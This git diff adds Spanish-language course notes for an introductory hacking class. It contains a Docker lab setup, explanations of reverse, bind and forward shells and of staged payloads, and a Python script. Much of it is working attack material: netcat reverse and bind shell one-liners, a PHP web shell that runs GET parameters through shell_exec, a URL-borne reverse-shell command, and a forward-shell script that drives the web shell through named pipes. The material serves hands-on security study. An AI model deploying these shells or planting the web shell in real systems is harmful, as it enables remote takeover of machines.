diff --git a/Introduccion-hacking-hack4u/tema_5_conceptos/Dockerfile b/Introduccion-hacking-hack4u/tema_5_conceptos/Dockerfile
new file mode 100644
index 0000000..a681b2d
--- /dev/null
+++ b/Introduccion-hacking-hack4u/tema_5_conceptos/Dockerfile
@@ -0,0 +1,18 @@
+# Para ejecutar el contenedor:
+# docker run --cap-add=NET_ADMIN -p 80:80 nombre_de_la_imagen
+
+FROM ubuntu:latest
+
+# Configura la variable de entorno para evitar interactividad en la instalación de paquetes
+ENV DEBIAN_FRONTEND=noninteractive
+
+RUN apt-get update && \
+    apt install -y apache2 php libapache2-mod-php ncat net-tools vim
+
+EXPOSE 80
+
+# Define el comando que se ejecutará al iniciar el contenedor
+# Inicia el servicio de Apache2 
+# Finalmente, inicia una shell interactiva de Bash
+CMD service apache2 start && \
+    /bin/bash
diff --git a/Introduccion-hacking-hack4u/tema_5_conceptos/README.md b/Introduccion-hacking-hack4u/tema_5_conceptos/README.md
index 2acecc0..4fa9632 100644
--- a/Introduccion-hacking-hack4u/tema_5_conceptos/README.md
+++ b/Introduccion-hacking-hack4u/tema_5_conceptos/README.md
@@ -1 +1,77 @@
 # TEMA 5 - Conceptos básicos de enumeración y explotación
+
+- [TEMA 5 - Conceptos básicos de enumeración y explotación](#tema-5---conceptos-básicos-de-enumeración-y-explotación)
+  - [5.1 Reverse Shells, Bind Shells y Forward Shells](#51-reverse-shells-bind-shells-y-forward-shells)
+    - [Práctica con el contenedor Docker de ubuntu\_apache.](#práctica-con-el-contenedor-docker-de-ubuntu_apache)
+  - [5.2 Tipos de payloads (Staged y Non-Staged)](#52-tipos-de-payloads-staged-y-non-staged)
+  - [5.3 Tipos de explotación (Manuales y Automatizadas)](#53-tipos-de-explotación-manuales-y-automatizadas)
+  - [5.4 Enumeración del sistema](#54-enumeración-del-sistema)
+  - [5.5 Introducción a BurpSuite](#55-introducción-a-burpsuite)
+
+
+## 5.1 Reverse Shells, Bind Shells y Forward Shells
+
+Diferencias entre Reverse Shell, Bind Shell y Forward Shell:
+
+- **Reverse Shell**: Es una técnica que permite a un atacante conectarse a una máquina remota desde una máquina de su propiedad. Es decir, se establece una conexión desde la máquina comprometida hacia la máquina del atacante. Esto se logra ejecutando un programa malicioso o una instrucción específica en la máquina remota que establece la conexión de vuelta hacia la máquina del atacante, permitiéndole tomar el control de la máquina remota.
+- **Bind Shell**: Esta técnica es el opuesto de la Reverse Shell, ya que en lugar de que la máquina comprometida se conecte a la máquina del atacante, es el atacante quien se conecta a la máquina comprometida. El atacante escucha en un puerto determinado y la máquina comprometida acepta la conexión entrante en ese puerto. El atacante luego tiene acceso por consola a la máquina comprometida, lo que le permite tomar el control de la misma.
+- **Forward Shell**: Esta técnica se utiliza cuando no se pueden establecer conexiones Reverse o Bind debido a reglas de Firewall implementadas en la red. Se logra mediante el uso de mkfifo, que crea un archivo FIFO (named pipe), que se utiliza como una especie de “consola simulada” interactiva a través de la cual el atacante puede operar en la máquina remota. En lugar de establecer una conexión directa, el atacante redirige el tráfico a través del archivo FIFO, lo que permite la comunicación bidireccional con la máquina remota.
+
+Es importante entender las diferencias entre estas técnicas para poder determinar cuál es la mejor opción en función del escenario de ataque y las limitaciones de la red.
+
+### Práctica con el contenedor Docker de [ubuntu_apache](./Dockerfile).
+
+- Primer supuesto (Reverse Shell):
+  - En escucha desde anfitrión: `nc -nlvp 443`
+  - Conexión desde el contenedor: `ncat -e /bin/bash ip_anfitrión 443`
+- Segundo supuesto (Bind Shell):
+  - Se envía desde el contenedor una shell: `nc -nlvp 443 -e /bin/bash`
+  - Se conecta desde el anfitrión: `nc ip_contenedor 443`
+- Tercer supuesto (Forward Shell):
+  - Añadirmos iptables:
+    - `apt install -y iptables`
+    - `iptables --flush`
+    - `iptables -A INPUT -p tcp --dport 80 -j ACCEPT`
+    - `iptables -A INPUT -p tcp --dport 0:65535 -m conntrack --ctstate NEW -j DROP`
+  - Borramos el `index.html` y creamos el fichero `cmd.php` en `/var/www/html`:
+      ```php
+      <?php
+      if (isset($_GET['cmd'])) {
+          $command = $_GET['cmd'];
+          $output = shell_exec($command);
+          
+          if ($output === null) {
+              echo "Error al ejecutar el comando.";
+          } else {
+              echo "<pre>" . $output . "</pre>";
+          }
+      } else {
+          echo "Por favor, proporciona un comando a ejecutar.";
+      }
+      ?>
+      ```
+  - Ya podremos enviar comandos por get:` http://localhost/cmd.php?cmd=whoami` `http://localhost/cmd.php?cmd=ps%20-faux`
+  - Si ponemos en escucha al anfitrión: `nc -nlvp 443` podremos conectarnos desde la url: `http://localhost/cmd.php?cmd=nc%20ip_anfitrión%20443%20-e%20/bin/bash`
+  - En el caso que tuviese unas iptables que no permitieran la conexión se puede utilizar este [script Python](./tty_over_http.py):
+    - https://github.com/s4vitar/ttyoverhttp
+  - Se puede entablar una Reverse Shell de muchas maneras:
+    - https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
+
+
+
+## 5.2 Tipos de payloads (Staged y Non-Staged)
+
+- Payload Staged: Es un tipo de payload que se divide en dos o más etapas. La primera etapa es una pequeña parte del código que se envía al objetivo, cuyo propósito es establecer una conexión segura entre el atacante y la máquina objetivo. Una vez que se establece la conexión, el atacante envía la segunda etapa del payload, que es la carga útil real del ataque. Este enfoque permite a los atacantes sortear medidas de seguridad adicionales, ya que la carga útil real no se envía hasta que se establece una conexión segura.
+- Payload Non-Staged: Es un tipo de payload que se envía como una sola entidad y no se divide en múltiples etapas. La carga útil completa se envía al objetivo en un solo paquete y se ejecuta inmediatamente después de ser recibida. Este enfoque es más simple que el Payload Staged, pero también es más fácil de detectar por los sistemas de seguridad, ya que se envía todo el código malicioso de una sola vez.
+
+Es importante tener en cuenta que el tipo de payload utilizado en un ataque dependerá del objetivo y de las medidas de seguridad implementadas. En general, los payloads Staged son más difíciles de detectar y son preferidos por los atacantes, mientras que los payloads Non-Staged son más fáciles de implementar pero también son más fáciles de detectar.
+
+## 5.3 Tipos de explotación (Manuales y Automatizadas)
+
+
+## 5.4 Enumeración del sistema
+
+
+## 5.5 Introducción a BurpSuite
+
+
diff --git a/Introduccion-hacking-hack4u/tema_5_conceptos/tty_over_http.py b/Introduccion-hacking-hack4u/tema_5_conceptos/tty_over_http.py
new file mode 100644
index 0000000..087cdcb
--- /dev/null
+++ b/Introduccion-hacking-hack4u/tema_5_conceptos/tty_over_http.py
@@ -0,0 +1,125 @@
+#!/usr/bin/python3
+"""
+Este script es un ejemplo de como se puede interactuar con un shell a traves de HTTP.
+"""
+
+import requests, time, threading, pdb, signal, sys
+from base64 import b64encode
+from random import randrange
+
+
+class AllTheReads(object):
+    """
+    Esta clase se encarga de leer el archivo de salida del shell y mostrarlo por pantalla.
+    """
+
+
+    def __init__(self, interval=1):
+        """
+        Inicializa la clase y crea un hilo para leer el archivo de salida del shell.
+        """
+
+        self.interval = interval
+        thread = threading.Thread(target=self.run, args=())
+        thread.daemon = True
+        thread.start()
+
+
+    def run(self):
+        """
+        Lee el archivo de salida del shell y lo muestra por pantalla.
+        """
+
+        readoutput = """/bin/cat %s""" % (stdout)
+        clearoutput = """echo '' > %s""" % (stdout)
+        while True:
+            output = RunCmd(readoutput)
+            if output:
+                RunCmd(clearoutput)
+                print(output)
+
+            time.sleep(self.interval)
+
+
+def RunCmd(cmd):
+    """
+    Ejecuta un comando en el servidor y devuelve el resultado.
+    """
+
+    cmd = cmd.encode('utf-8')
+    cmd = b64encode(cmd).decode('utf-8')
+    payload = {
+        	'cmd' : 'echo "%s" | base64 -d | sh' %(cmd)
+		}
+    result = (requests.get('http://127.0.0.1/cmd.php', params=payload, timeout=5).text).strip()
+    return result
+
+
+def WriteCmd(cmd):
+    """
+    Escribe un comando en el archivo de entrada del shell.
+    """
+
+    cmd = cmd.encode('utf-8')
+    cmd = b64encode(cmd).decode('utf-8')
+    payload = {
+		'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin)
+	}
+    result = (requests.get('http://127.0.0.1/cmd.php', params=payload, timeout=5).text).strip()
+    return result
+
+
+def ReadCmd():
+    """
+    Lee el archivo de salida del shell y devuelve el resultado.
+    """
+
+    GetOutput = """/bin/cat %s""" % (stdout)
+    output = RunCmd(GetOutput)
+    return output
+
+
+def SetupShell():
+    """
+    Crea los archivos de entrada y salida del shell.
+    """
+
+    NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout)
+    try:
+        RunCmd(NamedPipes)
+    except:
+        None
+    return None
+
+
+global stdin, stdout
+session = randrange(1000, 9999)
+stdin = "/dev/shm/input.%s" % (session)
+stdout = "/dev/shm/output.%s" % (session)
+erasestdin = """/bin/rm %s""" % (stdin)
+erasestdout = """/bin/rm %s""" % (stdout)
+
+SetupShell()
+
+ReadingTheThings = AllTheReads()
+
+
+def sig_handler(sig, frame):
+    """
+    Manejador de señales.
+    """
+
+    print("\n\n[*] Exiting...\n")
+    print("[*] Removing files...\n")
+    RunCmd(erasestdin)
+    RunCmd(erasestdout)
+    print("[*] All files have been deleted\n")
+    sys.exit(0)
+
+signal.signal(signal.SIGINT, sig_handler)
+
+
+while True:
+	cmd = input("> ")
+	WriteCmd(cmd + "\n")
+	time.sleep(1.1)